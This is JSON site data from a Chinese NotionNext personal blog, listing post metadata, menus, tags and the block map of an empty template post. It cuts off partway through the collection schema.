pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=b4a852c3-8bab-43ef-b748-8dec9d0940f9\u0026width=800\u0026fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"b4a852c3-8bab-43ef-b748-8dec9d0940f9":{"value":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","version":7,"type":"page","content":["82d871b0-86d3-4d3c-8d4c-fe70087f3d69","ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","c2d93490-64f9-4cb1-882b-ce82d4e86e34","ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","9a7a521d-391c-4709-bc52-426bcdc88d29","931b0fc5-4a3c-42a1-9e72-2f98575aabe4","bfd4a004-433b-4690-91c1-564daf7111de","26ae09ec-3360-4a22-8a1c-5a04558cd1bf","ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","429902e3-fd85-467c-823e-a01d0c6f3585","2b18786d-ffa2-4d78-9627-a8e7e7ff5764","3cfd7e2b-1101-45dd-aa39-381d8a0d5173","14fcaf05-02a3-4cb7-8229-9512ee7a23f1","4c8e427a-3bcd-4247-85b8-39aa455c2e41"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337113,"last_edited_time":1705630808239,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"82d871b0-86d3-4d3c-8d4c-fe70087f3d69":{"value":{"id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["aad2aea5-e7bc-4147-bfeb-465cbf407a92"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"7691f913-ab67-4bef-a6fc-40f04cddd7f7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7691f913-ab67-4bef-a6fc-40f04cddd7f7"}},"aad2aea5-e7bc-4147-bfeb-465cbf407a92":{"value":{"id":"aad2aea5-e7bc-4147-bfeb-465cbf407a92","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"49ad2fff-395c-4e41-8975-b5e59bf12e5c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337155,"last_edited_time":1705594337155,"parent_id":"82d871b0-86d3-4d3c-8d4c-fe70087f3d69","parent_table":"block","alive":true,"copied_from":"49ad2fff-395c-4e41-8975-b5e59bf12e5c"}},"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7":{"value":{"id":"ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","type":"text","format":{"copied_from_pointer":{"id":"58267cec-d269-493d-84d6-a3f5db3f9795","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"58267cec-d269-493d-84d6-a3f5db3f9795"}},"c2d93490-64f9-4cb1-882b-ce82d4e86e34":{"value":{"id":"c2d93490-64f9-4cb1-882b-ce82d4e86e34","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"7a8c3b7a-e21a-4c9b-b979-8cb34f66fa8b"}},"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad":{"value":{"id":"ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"1b076f45-d0db-4fc8-a863-29c5a8a3c246","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1b076f45-d0db-4fc8-a863-29c5a8a3c246"}},"9a7a521d-391c-4709-bc52-426bcdc88d29":{"value":{"id":"9a7a521d-391c-4709-bc52-426bcdc88d29","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"ad5e5791-cd82-409d-8643-00c52328b54d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ad5e5791-cd82-409d-8643-00c52328b54d"}},"931b0fc5-4a3c-42a1-9e72-2f98575aabe4":{"value":{"id":"931b0fc5-4a3c-42a1-9e72-2f98575aabe4","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"68755d5e-d008-43c7-a7c5-818e51d76e04","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"68755d5e-d008-43c7-a7c5-818e51d76e04"}},"bfd4a004-433b-4690-91c1-564daf7111de":{"value":{"id":"bfd4a004-433b-4690-91c1-564daf7111de","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"05ec0e1d-42b5-4fc1-bc0b-8194eb06b0b5"}},"26ae09ec-3360-4a22-8a1c-5a04558cd1bf":{"value":{"id":"26ae09ec-3360-4a22-8a1c-5a04558cd1bf","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"bafc69ed-a5e1-42d5-801c-c174230081ff","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"bafc69ed-a5e1-42d5-801c-c174230081ff"}},"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec":{"value":{"id":"ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"1fbf888c-22f2-4d2f-952f-292cff57550e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"1fbf888c-22f2-4d2f-952f-292cff57550e"}},"429902e3-fd85-467c-823e-a01d0c6f3585":{"value":{"id":"429902e3-fd85-467c-823e-a01d0c6f3585","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"9a814146-6bbd-4d09-b2ca-2207742a8c9a","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a814146-6bbd-4d09-b2ca-2207742a8c9a"}},"2b18786d-ffa2-4d78-9627-a8e7e7ff5764":{"value":{"id":"2b18786d-ffa2-4d78-9627-a8e7e7ff5764","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"65d51202-f9fb-471c-a98d-3d012cd9a9e2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"65d51202-f9fb-471c-a98d-3d012cd9a9e2"}},"3cfd7e2b-1101-45dd-aa39-381d8a0d5173":{"value":{"id":"3cfd7e2b-1101-45dd-aa39-381d8a0d5173","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337140,"last_edited_time":1705594337140,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"ccb9e9ee-6fb7-4ac3-8051-3691b5cbee16"}},"14fcaf05-02a3-4cb7-8229-9512ee7a23f1":{"value":{"id":"14fcaf05-02a3-4cb7-8229-9512ee7a23f1","type":"text","format":{"copied_from_pointer":{"id":"a54672cb-9ce1-4819-9c30-d1102efe1731","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"a54672cb-9ce1-4819-9c30-d1102efe1731"}},"4c8e427a-3bcd-4247-85b8-39aa455c2e41":{"value":{"id":"4c8e427a-3bcd-4247-85b8-39aa455c2e41","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337139,"last_edited_time":1705594337139,"parent_id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","parent_table":"block","alive":true,"copied_from":"9a367ddb-bd3f-46b9-a68f-8a66c84ff06f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","c